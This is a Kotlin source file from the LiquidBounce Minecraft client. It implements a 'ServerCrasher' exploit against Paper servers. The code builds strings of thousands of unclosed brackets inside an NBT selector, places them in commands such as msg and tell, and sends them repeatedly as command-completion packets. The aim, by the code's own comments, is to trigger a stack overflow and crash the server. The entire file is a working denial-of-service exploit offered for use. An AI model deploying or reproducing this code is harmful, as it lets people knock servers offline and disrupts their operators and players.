/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2025 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 *
 */

package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.event.waitTicks
import net.ccbluex.liquidbounce.event.tickHandler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.collection.Pools
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket

object PaperCompletion1204Exploit : Choice("PaperCompletion-1.20.2") {

    override val parent: ChoiceConfigurable<Choice>
        get() = ModuleServerCrasher.exploitChoices

    private val autoMode by boolean("AutoMode", true)
    private val packets by int("Packets", 3, 1..5)
    private val length by int("Length", 2032, 1000..3000)
    private val message by text("Message",
        "msg @a[nbt={PAYLOAD}]")
        .doNotIncludeAlways()

    //Nbt Executor for payload.
    private const val nbtExecutor = " @a[nbt={PAYLOAD}]"

    // List of known working commands (when unblocked)
    // Maybe there is a workaround that?
    // so that payload could be executed in any tab-completable command
    private val knownWorkingMessages = arrayOf(
        "msg",
        "minecraft:msg",
        "tell",
        "minecraft:tell",
        "tm",
        "teammsg",
        "minecraft:teammsg",
        "minecraft:w",
        "minecraft:me"
    )

    private var messageIndex = 0

    override fun enable() {
        messageIndex = 0
        if(autoMode) {
            return
        }

        //Made it smaller under 2048, but it still cannot throw stackoverflow every time.
        val overflow = generateJsonObject(length)

        // Latest server builds can kick if partialCommand length is greater than 2048,
        // probably can be compressed even more.
        val partialCommand = message.replace("{PAYLOAD}",overflow)
        repeat(packets) {
            network.sendPacket(RequestCommandCompletionsC2SPacket(0, partialCommand))
        }
        ModuleServerCrasher.enabled = false
    }

    val repeatable = tickHandler {
        if (!autoMode) {
            return@tickHandler
        }

        //Send all known command completions.
        if (messageIndex == knownWorkingMessages.size - 1) {
            messageIndex = 0
            ModuleServerCrasher.enabled = false
            return@tickHandler
        }

        waitTicks(20)
        val knownMessage = knownWorkingMessages[messageIndex] + nbtExecutor

        //Keep the length on the maximum limit (2048 characters)
        val len = 2044 - knownMessage.length
        val overflow = generateJsonObject(len)
        val partialCommand = knownMessage.replace("{PAYLOAD}", overflow)

        repeat(packets) {
            network.sendPacket(RequestCommandCompletionsC2SPacket(0, partialCommand))
        }

        messageIndex++
        return@tickHandler
    }

    private fun generateJsonObject(levels: Int): String {
        // Brigadier does not check for closing brackets
        // Until it is too late.

        // Replaced Object with array and removed closing brackets
        return Pools.buildStringPooled(4 + levels) {
            append("{a:")
            repeat(levels) {
                append('[')
            }
            append('}')
        }
    }

}
